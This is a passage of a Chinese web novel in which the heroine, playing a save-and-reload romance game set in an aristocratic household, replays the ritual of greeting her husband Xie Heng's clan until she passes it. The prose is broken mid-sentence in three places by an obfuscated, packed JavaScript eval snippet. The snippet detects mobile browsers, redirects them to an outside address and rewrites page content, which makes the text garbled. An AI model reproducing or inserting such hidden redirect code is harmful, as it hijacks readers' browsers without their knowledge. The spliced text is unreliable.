【声望+5】 翠儿俯身在你腰间打了个单层翼的蝴蝶结。 “小姐要用早膳吗?还是直接去找谢公子?” 柳儿道:“笨翠儿,当然是直接去见谢公子了!小姐可不是那种贪吃馋嘴的人,到时你我提醒一句,小姐为了见公婆还饿着肚子,谢公子肯定会觉得我们小姐善解人意,心疼小姐的!” 听着是这么个理。 但有些饭该吃还是要吃。 游戏里的身体既然能感到饥饿,那么吃饭的时候也会感觉到同样的味蕾上的鲜香。 “我想吃饭,都做了什么?” 柳儿愣了一下。 但她很快恢复状态:“厨房送来了蜜髓饼、苏蓉羹、蟹汤。小姐可还有什么别的想吃的?我去让厨房赶做。” 你道:“不用,就那几样,给我端过来。” 柳儿应声去端。 翠儿将你的长发挽成发髻,钗花固定,递来一面手持铜镜。 你从铜镜中看到自己,头上梳着繁复如流云的发髻,搭配素雅贵气的木槿样式的簪钗,与身上的浅青的间色交寄裙上的花纹遥相呼应。 又一套精致的古装造型。 【美貌+5】 你将镜子翻面,背后雕刻工艺和博物馆里展出的古镜风格相近。 刻有文字:【见日之光,长毋相忘】 你握在手里掂了掂,沉甸甸的,真好看。 柳儿在外间布菜。 碗碟挪动发出清脆声响,在晴空万里的晨间,有种岁月静好的治愈感。 你坐到桌前,先吃了一张蜜髓饼。 这饼既有蜂蜜的甜味,也有骨髓油的肉香,吃进嘴里口感肥美。你不禁提了个想法:“如果把面饼外裹了蜂蜜用油炸,会不会更好吃?” 柳儿笑道:“小姐想吃,待会空下来我就做着试试!” 【体能+1】 你对她笑笑,觉得她人真好。当然,默默为你添汤的翠儿也好,你真心喜欢这对女孩。 蟹汤滋味鲜美,蟹香浓郁而不腻。苏蓉羹则普通些,就是蔬菜炖肉的味道,比起配饼做早饭,更适合和米饭一起吃。 【已饱腹】 你接过翠儿的茶水漱口。 柳儿用帕子擦拭你的嘴角,替你敷粉上口脂。 【美貌+5】 里外准备妥当,你们在等候许久、脸色不虞的阿问的带领下,去往谢珩所在的廊屋。 他倚在小案上闭目养神,敞开的窗口照进明光落在他脸上,皮肤干净得不像话。光是看一眼,眼睛都像受到了滋润。 “公子,桓小姐到了。” 阿问语气不善。他对你贪睡早觉又吃饱喝足才出门的事很不满。 正常的新嫁妇,谁不是天还未亮就起床梳妆打扮?现在都要日上三竿了,指不定正堂那边府君与夫人等了多久。到最后,那些怨气与训斥还不是要落在他家公子身上? 谢珩被他叫醒,揉了揉眉心。 他的视线没有朝你投来,一味盯桌上的茶碗。 “走吧。” 一路上,谢珩都没有看你一眼。他在你前半步走着,你只能看到他半披散的青丝,还有瘦削见骨的背脊。 瘦归瘦,他身材比例其实不错,你隐约觉得他在现代会很上镜。 你伸手按他脊骨:“你是不爱吃饭?” 你想起关卡背景中极有时代色彩的姓氏。架空在这个时间的话,你猜测着问:“还是说你在修仙吃丹药?” 在你触碰到他的时候,谢珩的背就已经绷紧了。他没想过光天化日之下,你也敢这么碰他。这条路上都是院外人,人多眼杂,你这样主动,他们说不定要在背地里怎么编排。 “我没有……” 他低声回应你。 似经历了非同一般的挣扎,他慢下步子与你并肩,缓缓、缓缓地牵上你的手。 【谢珩好感-1】 你:? 你把手从他掌心抽出:“不喜欢牵就不要牵,没必要勉强做了还要在心里讨厌我。” 谢珩愣愣看你。 你推他的背往前走,走了几步,他恢复了走路的主动。 只是频频回头,像是第一天认识你。 也没错,你们就是第一天认识。 跟在谢珩身后,你步入正堂。 有新的待办跳了出来。 【离开了经营多年的桓府与凝香宫,挪进庭院深深的谢府。 就算你想要的仅仅只是谢珩的心,也不妨碍你打算在谢氏闯出一片天地的雄心壮志。你绝不给任何人看低自己的机会。】 【请时刻注意[高看]与[轻待]的数值提醒,数值变动会影响结局走向。】 【建议存档】 你十分听劝地存了档。 迈过门槛时,谢珩回头与你相视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230469|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,向侧边让开。 一位衣着贵重的侍女与你含笑见礼。“少夫人,这边请。” 她为你撩开珠帘,送你进了悬挂着圣祖墨宝的正堂。 屋子两侧站了男男女女许多人,有些相貌不俗,有些则平平。服饰也有别,靠近堂上的男女衣着最金贵,物理意义上的闪着金光。 你停在原地不动。 引你进来的侍女起初还在微笑,发现你是真的不打算做些什么后,她的笑容裂开了。 “少夫人……” “嗯?” “您不知要敬茶问礼吗?” “不知道啊,你指引一下?” 侍女:“……” 她的表情像在说天塌了。 你被她逗笑,拉拉手唤醒她。“别着急,你可以教我啊。我第一步要做什么?” “献、献贽,向府君与夫人行拜礼。” 你看到她身后跟着的同样脸色惨白但强装镇定的翠儿柳儿,她们手上各端着枣栗与干肉。 “是那些东西?” “是……”侍女吞了吞口水,认命般详细介绍:“枣栗呈给府君,干肉呈给夫人。拜礼之后,少夫人要跟着夫人向老祖宗见礼,跪下奉茶。” “之后,与平辈的小姐少爷见礼,敬酒答谢赞者。” 你听明白了。 却没着急读档,在众人或讥讽、或震撼、或担忧的视线中,按照侍女的教导走完整一遍流程。 这趟流程属于强买强卖,没有一个人在高兴。夫人带你去见老祖宗,是你硬拉着去的,她脸色难看得像锅底,不停瞪在侧边站着的儿子,他的新妇让老娘丢了大脸。 谢珩没有心情理会他怒气冲冲的母亲,他表情空白地看着你。 你甚至在见礼途中,摸了摸别人缝金的衣裳。 流程走完,担任赞者的族中妇人将酒饮干,你拍拍巴掌收尾,捏了捏翠儿柳儿的脸,回到谢珩身边。 【轻待值98%】 【轻待】到了这个地步,表面上却还都勾着体面的笑,不愧是世家大族。 你环视一周,与人群中一双明亮的眼睛对上。他似乎对你出格的行为感到惊奇,惊奇的背后又是星星点点的好感。 你记得侍女提醒你,要叫他三哥。他也是人群中姿色不输谢珩的人之一。 你喜欢这种攻略路上偶然冒出来的桃花。决定记下他,等下回到主档,试试开发他的线路。 “筝娘……” 是谢珩忍耐的声音。 “你如此行事,是因为厌恶我吗?” 你回神望他。 “不是。” 你是真的不会。 “你呢?我搞砸了问礼,你什么心情?有没有讨厌我?” “会为娶了我这样的妻子感到丢脸吗?” “你后不后悔?” 谢珩望着你的眼神动了动,他垂下视线,握你的手:“回去吧。” 这次他牵你的手牵得很实,手掌与手掌印在一起。 你不懂他想了什么。 【任务失败】点击详情。 【他可以接受你的不完美,但你不可以。 “筝娘,为什么不见我?” 你想放弃了。】 【进入结局】 你在新婚第二日问礼的表现十分糟糕。 你感受到了谢氏族人的目光,他们轻视与鄙夷你的存在。 你无法承受这一切,躲进你与谢珩居住的院落闭门不出。 经营多年的人脉与声望毁在旦夕,任务对象谢珩在外与女主如何藕断丝连、舍命相助,你也不得而知。 你最终走出了谢珩的院子,与他和离,回归桓氏。 但即便和离,谢珩也没有放弃对你的关照。 他认为令你沦落至此的源头是他,每岁年节,他都会备礼探望你,但你拒绝与他见面。 后来,你与一个无名小卒成婚,过上了普通百姓的日子。你们去了离建康很远的深山里生活,虽然平凡,但于你而言,已经心满意足。 十几年后,你与丈夫去外界集市采购,听说了建康的事。 没有你的干预,任务对象谢珩最终为女主的大业付出生命。 你的世界多了一位女帝。 但那些,已与你无关。 获得成就:【不学无术】 【闯关失败】 5. 第 5 章 数值结算: 美貌27/30 体能20/30 健康78/100 心性860/1000 声望3/1000 谢珩好感65/100 …… 你点击读档,回到进入正堂门口的时间点,数值页面的数据也随之恢复到结局之前。 【 美貌26/30 体能21/30 健康100/100 心性365/1000 声望896/1000 谢珩好感34/100 】 你看着空中鲜明的【34】,有些好奇之前那个档最后谢珩好感在【65】的原因。 【34】好感的谢珩都可以待你如此友好,好感度升到【65】,是否可以认为他对你产生了一些感情? 然而结论已经无从得知了,那个档位的事只有那个档的谢珩知晓。实在想知道的话,也可以从后面的攻略里找到答案。 你关闭面板,这次在侍女的迎接之下,你十分得体地完成了敬茶问礼。 但是。 【轻待值61%】 你认为已做到自己能做的最好。 谢珩亦觉平常,你将目光望去时,他还朝你颔首表示认同。 看来这次的【轻待值】并非针对你的礼数而来。 你略微思索,点开人物档案,回看桓筝的生平。 【你是桓筝,出身龙亢桓氏破落一支。因父佞新帝有宠,举家安置皇都建康。……】 就到这里。 【父佞新帝有宠】,又并非桓氏主脉出身,是【破落一支】。 置身谢氏这等根深蒂固的大贵族,以你的身份来历,被瞧不起才是常态。门阀士族当道,门第就是评判人的唯一标准。 要怎么做,才能拉起他们的【高看值】? 记忆若没出错,像陈郡谢氏这等高门,即便是皇家也可以不放在眼里,所以跟他们搬出你在九公主身边做事的资历也没用。 嗯……背几句古诗给他们听听?还是唱首现代流行曲? 套路虽不流行,但说不定有奇效。 侍女暗中推了推你,笑道:“少夫人,这位您该叫三哥的。” “他是二老爷家的公子,名玟,族中排行老三,虚长珩五公子两岁。” 你朝着面前的青年抬眼,视线毫不遮掩落到他的脸上。 “三哥。” 谢玟客气有礼:“五弟妹。” 此男头戴玉冠,宽衣广袖,相貌俊逸,很有一种潇洒文士的风韵。 与上个档位中热切直率的注视不同,这次他十分守礼,对你也无甚兴趣。 原来对一件事做出不同的反应,真的能改变许多人、许多事。 你回想起那只振翅的蝴蝶,不太走心地继续跟着侍女叫人。 【轻待值】还在跳跃增加,不出意外,这次的档位也过不去这个问礼任务。 你不再随着侍女的指引移动。 在侍女疑惑的目光中,你道:“我还不知你的名字。” 翠儿柳儿在你身后屏住呼吸。 屋子里其他的人也因你这句话揶揄、打量地看你。 侍女先是望了望你背后的主人家,才不太自在地回答:“我叫明言,是老祖宗身边的伺候的。” 你点点头,退回到谢玟面前。 此刻,他的脸上褪下了那层风度翩翩的假面,饶有兴味瞧着你,像是对你接下来要做的事抱有期待。 他很喜欢看乐子啊。 你伸手给他,笑问:“我这个档不要了,三哥,你能给我一个结局吗?” 谢玟愣了一下,目光瞥过你伸到面前的手,不可抑制地感到震撼。 他没有动。 另一只修长而骨节分明的手骤然伸来,将你停滞在半空的手攥住。 谢珩把你从谢玟身边拉离,语气隐隐发怒:“筝娘!你……” “你为何要……” 气得连话都说不全。 他估计也不想在自己的口中说出妻子光天化日勾引兄长的话。 你给他顺了顺气,解释:“我也不想这样的,可你们家人都瞧不起我啊。” “胡说!” “你这贱妇!” “我儿已有未婚妻!” 谢氏族亲这边也乱成一团。 你往谢玟的方向望去,这次他的视线没有落在你的身上。你看到他的嘴角绷着,似乎也在因你的举止感到愤恨受辱。 你的手还被谢珩攥着。 眼见着又要被判定任务失败,走向普通结局,你晃晃他的手问。 “我身上有你们家人的喜好吗?就是那种只要展露出来,大家就会很喜欢我的地方?” “我本来想到背诗,但你们这种世家不缺才子。” 谢珩的目光渐渐转换,由浓密的怒气化为不解与担忧。 “筝娘,你是不是哪里不舒服?” 他的身后,是他怒发冲冠的族人。 “休了他!子瑜!休了司马家犬的女儿!” “新婚第二日就公然对我谢氏羞辱,谁人不知是她父亲授意!子瑜,快快将休书塞这女子口中,将她绑回桓氏!” 听到他们群情激愤地催促谢珩休妻,你打算读档的手渐渐落下。 你也很好奇谢珩在这种时候会怎么处理。 谢珩望着你,快要被族人逼迫的声浪淹没,前后夹击,他显得很是狼狈。 不过很好看,堪称楚楚动人。 “筝娘,你可有话想说?” 你点头,还真有。 你说:“‘子瑜’是你的字?” 【任务失败】点击详情。 【新婚第二日的问礼场合,你公然羞辱了谢氏二府的公子,这让谢氏无论如何也容不下你。 “筝娘,以后请多保重。非必要,不再见。” 你被休弃了。】 【进入结局】 你在谢氏的荒诞举止传遍建康,却无人敢在明面上作出耻笑。 他们口中谈论更多的是司马氏、谢氏、桓氏之间的暗潮涌动。 你被休回桓氏以后,反而获得了家中原本没有的话语权。父亲嘉奖了你的言行,赞叹巾帼不让。过去接触不到的世家之间的明争暗斗,父亲也开始愿意透露给你,共商应对之策。 再次见到谢珩,是在廷尉狱中。因你积极的出谋划策,桓氏势大,拥护大皇子为太子篡位的谢氏倒台,全族入狱。 你居高临下,救谢珩于水火。 他也在对死亡的恐惧中妥协于你,成了你藏在庭院深处的幽禁之玉。 日子渐长,你厌倦了死气沉沉的谢珩,也清楚他根本就不爱你。 父亲命你与清河崔氏的公子结亲,你嫁去北方,在崔氏继续谋取你想要的东西。 从其他人口中听说,你成亲当天,谢珩于房中自缢而死。 死了? 他不是怕死吗? 获得成就:【弄权制策】 【闯关失败】 数值结算: 美貌97/100 体能78/100 健康64/100 心性977/1000 声望989/1000 谢珩好感1/100 你没有着急读档, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230470|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是仔细欣赏了一下这闪闪发亮的数值页面。 看来不止你自己,游戏方面也觉得这个结局走向十分带感,还特地更换了背景皮肤。 根据这几次坏结局,你提取出一些信息。 1.谢氏站大皇子,有拥君篡位的打算,具体时机不明。 也许这是他们默许谢珩与九公主司马婧发展感情的原因。 2.你的父亲站皇帝,暂时未对继承人选表示出任何态度。 其他世族轻视以父亲为首的你们桓氏。 3.皇权发展有许多种可能。除去【采花大盗】未涉及局势白描,【不学无术】与【弄权制策】都提及皇权世家相关。其中【不学无术】是女主司马婧称帝,谢氏似乎有从龙之功,而【弄权制策】中的皇权还掌握在皇帝的手里。 你也是这时候发现,你与谢珩的立场竟然是相对的。 这样看来,就算攻略成功,想获得好结局也不是简单的事。 你坐到待机空间的沙发上,抱了个抱枕在怀里思考。 往近处看,眼下的待办怎样才能顺利通过? 谢氏因出身轻蔑于你,这没法改变,总不能改变血统,突然跟他们坦白你有另外的爹。那样做的话,再有坏结局,恐怕连桓氏那边都不再有你的容身之所。 你揪着抱枕的一角,拧转一圈。 忽然,你有了灵感。 你快速按了读档键,但由于太过心急,一不小心读回了新婚之夜的档。坐在满床的桂圆、花生之间,你再次点开读档功能。 你回到了进入正堂之前的门口。 谢珩与你分开进去,按照礼数,他要独自侍奉在父母身边,见证你朝他们行礼,被长辈认可,正式成为他的新妇。 但你拉住他的手,在侍女明言惊诧的视线里。 “不能陪我一起吗?” 他的拒绝呼之欲出,你又改变说辞。 “你陪着我一起吧,不用你说什么,站在我身边就好。我毕竟姓桓,里面都是你们家的人,我……你站在我身后,我会更有底气。” 明言笑着圆场:“少夫人,你这话可就见怪了,哪家的新妇会和夫家一个姓呢?” 你坚持看着谢珩的眼睛。 终于,脑子里的电波对上,他明白了你的意思。 朝堂之上,桓氏与谢氏虽还维持着明面的和气,但私下几乎成了政敌。 你以桓氏女身份嫁入谢家,会担忧自身的处境也在所难免。 不过……既然你能想到这一层,当日又为何选择出头嫁他? 谢珩思度再三,到底是依从了你的请求,将你的手握在掌心,与你一同进去献贽敬茶。 有谢珩陪在你身边,你发觉谢氏族人的眼神与之前有所不同。 【高看值59%】 “筝娘,这位是曾祖母。” 也因为他陪同的缘故,指引你叫人的工作从明言换成了他。 “曾祖母。”你给帘幕之后的老人跪下磕头。 头磕了第三回。 前几次,这位老祖宗只当没你这人,就算你在外面闹得天翻地覆,她都没出言说一个字。 这次,破天荒的,她说话了。 “阿珩。” “曾孙在。” “这是你小时候对我起誓,要终生爱护、尊敬的那个淑女吗?” 谢珩沉默了。 你看到【高看值】在上下浮动。 跌下【49%】时甚至换成【轻待值】响应。 你捏了捏谢珩的掌心,他如梦惊醒般看向你。 【轻待值68%】 你朝他歪头。 距离完成任务只差临门一脚了,你求他稍微给点力。 6. 第 6 章 也是没想过,这些族亲对你的高看与轻待根本上取决于谢珩对你的态度。 算合理。 这本就是恋爱攻略游戏,加入“恶毒女配”的身份配置,丰富游戏玩法,实际上还是简单粗暴的“和任务对象谈恋爱”思路。 若不考虑游戏相关,从内部剧情入手也可以解释。 能让深爱九公主的谢珩一夜间回心转意,跟你做夫妻,好好过日子,怎么不算是奇迹呢? 而这种奇迹恰恰能体现出你驾驭人心的本事。 “阿珩,为何不发一语?你在为背誓心虚吗?” 苍老的声音严厉向谢珩施压催促。 谢珩握紧你的手,终于开口:“我没有背誓。” “我与筝娘结发成婚,婚书里承诺过,理应守着她过完一生。” 他的话语掷地有声,宛若一颗琉璃珠不紧不慢从尽头滚来。 “至于……那个人,我作为天子的臣民,爱护她、尊敬她,这些永远都不会变。” “所以,不算背誓。” 族亲不约而同保持安静,所有人的目光都聚焦在你与谢珩的身上。 【高看57%】 【挑战成功】 兑换奖励:【一粒圆丹】 【随你所想,毒可腐蚀五脏六腑,医可救治死尸复生。】 好东西。 不枉你过这个小任务读了两次档。 你按了【X】键,奖励自动收入背包。 “啪嗒”一声,遮蔽光线的帘幕被什么惊动,微微摇晃。 你看到一条手串在帘底露出边缘,是和田玉与琥珀混串,珠子精美圆润,是件稀世难得的宝物。 “阿珩,给你新妇戴上,这是你曾祖父娶我那年穿的玉,留到今日,比这宅子岁数都大。” 谢珩父亲忙道:“祖母,使不得,阿珩太小,恐受不住您的恩典!” “小什么?你像他这么大,妾都纳了七八个了。” 她训诫:“阿珩,你断断不能效仿你父亲,他这辈子就是后院不宁,在家做惯了青天老爷,到这把年纪还没混出什么名堂!” “你如今成家,要好好过!把日子,好好地过!” 谢珩迫于父亲被训的压力,不敢痛快应承。直到父亲忍着脾气朝他点头,他才跪下答应:“谨记曾祖母教诲。” 亲眼目睹他捡过手串,套入你的腕间,帘幕里的老人才稍微满意,让你们下去。 与曾祖母的对话令谢珩情绪较之前低落几分,但他仍打起精神带你认完其他亲戚。 余下是平辈之间,不需严肃。 “介绍免了,我都认识。” 你将那些兄弟姐妹都叫了一遍,换来一声声亲切地回礼。 这是前两次存档里没有过的。 谢玟笑问:“五弟妹从何处知道我们这些人的?不说他们,我可不招圣上待见,就算弟妹与九公主交好,应也与我素不相识才对。” 他玩笑式问话,既不会让别人追究他的失礼,也能逼对方说出实情,是世故圆滑的表现。 你对他的印象又一次更新了。 对于这种角色,你不可避免地产生了摧毁欲,想看到他失去一切时自暴自弃的凄美模样。 任务刚刚完成,你心情不错,随手存了个档,覆盖住进正堂前的时间,意图与他见招拆招。 “要嫁给子瑜,总该了解他的家人,成亲前我看过诸位的画像。” 谢珩闻言看你,又觉得视线不妥,瞥去别的地方。 谢玟爽朗笑了几声:“那我五弟可真是几辈子修来的福分,能娶弟妹为妻。” 瞧瞧,不知哪句话合到他的意,又变成一个完全“善良”的人了。 你不会轻易放过他的。 找到合适的机会,你一定要开启他的结局。 敬酒问礼就这样结束了。 一个时辰不到,你却像忙了几天般疲惫。 回房间后,你躺到床上休息。 晌午太阳爬上来,温度也跟着升高。你盖着自然发凉的蚕丝被,身边坐着翠儿替你打扇,舒舒服服睡了个不算早觉也不算午觉的睡眠。 柳儿拿湿帕子给你擦脸,忍不住嘀咕:“出门跟谢家人说了一圈的话而已,小姐怎么就累成这样,该不是被谢氏人克的吧?” 翠儿嗔她:“不该说的话不要乱说,叫有心人听见如何是好,到时要害小姐难做。” 她们的话音虽然很轻,但距离过近,你全部都听得见。 但你并不觉得吵。由于十成十的信任,她们对你而言,有种别人难以比拟的、亲妈般的安全感。听她们说话,意识到她们在身边,反而睡得更香。 你一觉睡到下午,时间在两点多左右。柳儿见你醒了,立刻去给你摆午饭吃。 你才睡醒,没什么胃口,但冰镇过的羊奶都喝干净了,处理得甜而不腥,很是解暑。 “他呢?不在吗?” 翠儿道:“姑爷在库房,正清点小姐明日回门的礼品呢。” 你张嘴打了个哈欠。 “哦。” 翠儿柳儿都对你张大的嘴巴感到吃惊。 你笑了:“是觉得不得体?” 当然。显然。 但她们对你忠心耿耿,只美言:“绝无可能,只是看到小姐美丽的贝齿,心向往之。” 真会说话。 你摸摸她们的头。 待办清空了。 整个下午闲来无事,你出门去谢珩的院子里探索。 院子跟现代公园差不多大,这个形容是非常大的意思。 如果让你一辈子住在这种地方,还是希望院子里能开启公共交通,出门有车坐。不然从卧室到练武场就要走个六七分钟。 你在练武场找到了一把弓箭。捏了根羽箭出来,你朝靶子瞄准—— 弓拉不开。 什么东西? 等你研究片刻,能单手将弓拉开时,就迎来了无法将箭射远、射直的问题。 你的箭疲软地落到两步远的地方。 搭弓射出去的箭,甚至不如你投掷得远。 你弯腰拾起箭,食指划过箭尖,与触碰刀刃的感觉类似。 这是真实的兵器,不是体验馆里经过改良的箭支。 你将箭对准胸口刺了刺,想象影视剧里万箭穿心的感受。 “筝娘!” 谢珩的呼声从练武场入口传来。他衣袂纷飞,大步朝你跑来,一把夺过你手中的箭支扔向远处。 你听到他带着怒气的质问:“你在干什么?” “为何要做那般举动?” “要是伤到了该怎么办?” 你不回答他的问题,本也没什么好答的,伤到就读档呗。 “你忙完了?” 你不咸不淡地问他一句,走向扔开的箭支,弯腰去拾。 谢珩先你一步把箭握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230471|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到手里。 嘿。 你对上他执拗的双眼,他在很坚定地排斥你伤害自己的行为。 这也太好人了吧。他分明不喜欢你啊。 你打开数值页面确认。 是【34】没错。 “谢公子,你对不喜欢的人也这么关心?” “之前和九公主在一起的时候,她没因此生过气吗?” “……” 他眼神动摇了,却压紧唇线不做回应。 “是有过吧。” “不过她大概不会生你的气。毕竟她也好,别人也好,都清楚你心里的人是她,只有她。” “就算你的关心分给了别人一点点,又能如何?” “你的心在她那里。” 你自觉分析到位,是情感大师。 谢珩欲言又止。 你放弃了他手中的箭,去箭筒里又抽出一支。 搭弓开弦,羽箭还是中道崩殂,狼狈地连靶心轨道都没对上过。 你想了想,朝杵在那里不动的谢珩招手。 “谢公子——” 他脸色不好看,但还是听话挪近。 “你教我射箭好不好?” “……你方才,是学不会射艺,拿自己出气吗?” “没,我就是好奇被射到贯穿是什么感觉。” 你把弓交到他手上,示意他给你射一遍看看样子。 谢珩皱眉照做。 “不要好奇危险的事。” 一箭中靶,箭速迅疾。 你眼中满是赞叹。 尤其是自己尝试过,屡败屡战过的事,有人能在眼前做得如此优秀,还长得这么养眼—— 谢珩不自然地避开你的目光。 “不必如此,我幼年便在此练习射术。” “谢公子,你能教教我吗?” “为何想学?你有想杀的人?” “没有,我不杀人。” 你在此处存档。 背过身,挤进他的怀里,将他持弓的手抬起,自己的手跟着握上去。 “看得出我的诚心吗?我想被你这样教射箭。” 电视剧里都是这么演的。 谢珩:“……” “好。” 【谢珩好感-1】 你:“……” “算了不用了。” 你读档动作过快,也就没有看到某人眼中被惊皱的春水。 “我喜欢箭在弦上绷紧,迅疾而出,射准目标的感觉。” 你解释为何想学射箭。 谢珩虽不理解,但尊重。 “我的射术在家中并不算精湛,筝娘想学,我可为你找一位师父。” 你答应了。 但补充:“你的射术已经很厉害。谢公子,劝你一句,谦虚可以,但若遇到蠢人,他们可真的会信,然后真情实意瞧不起你。别人的夸赞啊,尤其是真心的,你该承认还是承认吧。” 说完,你走向武场中央摆设的战鼓,攥拳敲了敲。 战鼓“轰隆隆”回应。 紧接着又拔剑出鞘,左手食指中指并齐抚上剑身,联想回忆,摆出一个四不像的剑招。 谢珩不自觉笑了。 你没有发觉他的笑。 也没有发觉他望向你的眼神与昨日书房初见的不同。 许多数值在悄悄发生改变。 【谢珩好感+5】 7. 第 7 章 在练武场玩了整个下午,你和谢珩一起灰扑扑回的房间。 有八卦的侍女打听下午的事,陪同全程的柳儿与阿问缄口不言。 翠儿感受到你与谢珩之间融洽的气氛,给你换衣服的动作隐隐发抖。 错开身时,你看到她偷擦眼角的泪。 你叹了口气,从背后抱住她。 她与柳儿从小陪着你喜欢谢珩,如今你的感情有了眉目,她们是最高兴的人。 高兴你的愿望成真,心疼你过去吃的苦没有白费。 你洗干净手,坐到同样换了洁净衣裳的谢珩身边。 多了一个人,桌上的菜品也跟着丰盛起来。 鹿肉脯、虾子酱、冬瓜羹、跳丸炙……总共七道菜,配两碗米饭和汤饼。 你双手合十朝谢珩拜拜:“感谢你出身贵族。” 不然可就没这个机会品尝异时空美食。 谢珩:“……” 他将你的手按压下去,轻声斥道:“什么话。” 你美滋滋拿筷子吃肉。肉脯滋味醇厚,有股浓郁椒香,嚼起来很下饭。 谢珩筷子伸了伸,片刻,端起碗吃冬瓜羹。 你惊讶:“你不会吃素吧?” 阿问没好气道:“我家公子饮食清淡,饭桌上何时摆过这些油腻俗菜?” 你捏动筷子,瞥见谢珩尴尬回避的神色。 好像油是有点多。 这是柳儿猜着你口味准备的晚膳,看她那副理直气壮的模样,显然不觉得自己需要照顾到谢珩的习惯。 是啊,她是你的部下,凭什么为别人的老板考虑? 而且。 你捏捏谢珩的手腕。 “太瘦了,你应该适量吃点油的。” “去别人家吃饭怎么办,也像现在一样不动筷子吗?多扫兴啊。” 你给他示范:“看着,嫌弃菜油腻的时候,米饭的用场就来了。” “把你碗中的饭,这样……划出一小块区域,夹到想吃的菜,就用区域里的米吸油。” 充分吸过油的肉丸放入他的餐碟,你推手:“尝尝。” 谢珩犹豫过后,夹起肉丸,小口咬了一块,吃相文雅到几乎看不见咀嚼的动作。 尝出味道,他眼神亮了亮,点着浅淡笑意望向你。 投喂成功,你很有成就感。 “怎样?是不是又好吃又不油腻了?” “你这么瘦,一定是之前没好好吃饭过。知道你喜欢清淡,给你做饭的厨子估计不敢放油,但油少的菜怎么可能好吃。你吃着不好吃,定然就不愿吃,天长地久,你就瘦得骨头都凸出来了。” 你拍拍胸脯:“以后跟我吃,保管把你养得胖胖壮壮的。” 吃到好吃的食物,谢珩心情亦是不错,与你闲聊:“可碗中沾了油的饭该如何吃?” 你高深莫测道:“放弃。” “嗯?” “那些米有自己的价值,沾了油就用尽了,不必再被人吃进肚子。” “简而言之,就是剩在碗里。” “或者……” “你用别人碗里的饭吸油。” 谢珩笑了。 你也对他笑。 翠儿柳儿相视一眼,默契地钳住阿问,带他一同退出了房间。 太阳落了下去,院子里其他人都去厨房领饭,庭下空荡。阿问萎靡蹲在竹影里,翠儿与柳儿凶神恶煞堵他。 柳儿威胁地手掌伸平,在脖子前比划:“敢去坏我们小姐的好事,你就死定了。” 阿问抱紧双腿:“……” “我知道了,你吓唬谁呢。” 与翠儿柳儿一般。 他是从小陪着公子喜欢九公主的人,如今沉浸在两人被命运拆散的悲伤中,是个绝望的CP粉。 公子他……与九公主之间,真的回不去了吗…… “阿问?”熟悉的女声响在几步远,她身着宫装,本是不该再出现在谢府里的人。 “你怎么……” 九公主身边的大宫女涓流,迟疑着将后半句话吞进腹中,与翠儿柳儿寒暄见礼。 她发髻蓬乱,看上去心神不定。 “阿问,你们公子呢?” 阿问表情一变:“涓流姐姐!可是公主那边出了什么事?我们公子就在屋里用膳!” 他绕开翠儿柳儿,跑去屋里跟谢珩通风报信。 “公子!涓流姐姐找你!恐怕是公主那边出事了!” 你吃了一口冬瓜羹,眼睛朝上打量阿问,与他身后未等引见就登门入室的陌生宫女。 【涓流】 谁啊? “见过公子,桓小姐。” 她没有把你当外人。 在她眼中,你还是那个为保公主性命,不惜牺牲自己嫁人的桓筝。 所以没有什么不能让你知道。 “公子,殿下遇刺了!” “将军府潜入了刺客,混在裴氏的宾客里,那狗贼趁无人注意,用毒钗刺穿了殿下肩膀!” 谢珩站起身,脸色惨白:“她如何了?” 涓流眼眶发红:“御医已将毒解了,公主却一直未醒。医女说可能是公主心念俱灰,想就此死去!我没办法了,只能背着将军府的人出来找公子!” “也许世上能唤醒公主的只有公子您了!” 你将冬瓜羹放下,仰头观察谢珩的表情。 他在……害怕。 害怕公主就此长眠不醒? 也有后悔。 后悔被家族牵制,没保护好公主? “哎。” 你叹了一声。 谢珩回神,目光下落与你对视。 你在此处存档。 本想试试不同意他去,他会不会跪到地上哭。 但【待办任务】很巧合地出现了。 【回门之日即将到来,你却在前一天的傍晚听闻司马婧遇刺的消息。你清楚自己拦不住谢珩,他一定会奔去找他的心上人。 但他这一走,要多长时间?如果他把回门之事抛到脑后……】 【回门失败,将会影响结局走向】 【建议存档】 你拿帕子擦了擦嘴,起身:“哎,我跟谢公子一起去。涓流,路上你详细说说公主的情况。” 涓流并未多疑。 你与谢珩更换出门的行装。将离开时,他目光晦暗拉住你的手腕,低声询问:“筝娘,不是你,对不对?” “嗯?哦,不是啊。” 他怀疑你。 并不是没有根据,毕竟你昨夜刚跟他坦白了曾经对公主坐骑下黑手的事。 那种事能做出第一次,就会有第二次。 你真想告诉他,还有三四五六七八九次。 但,还不是时候。 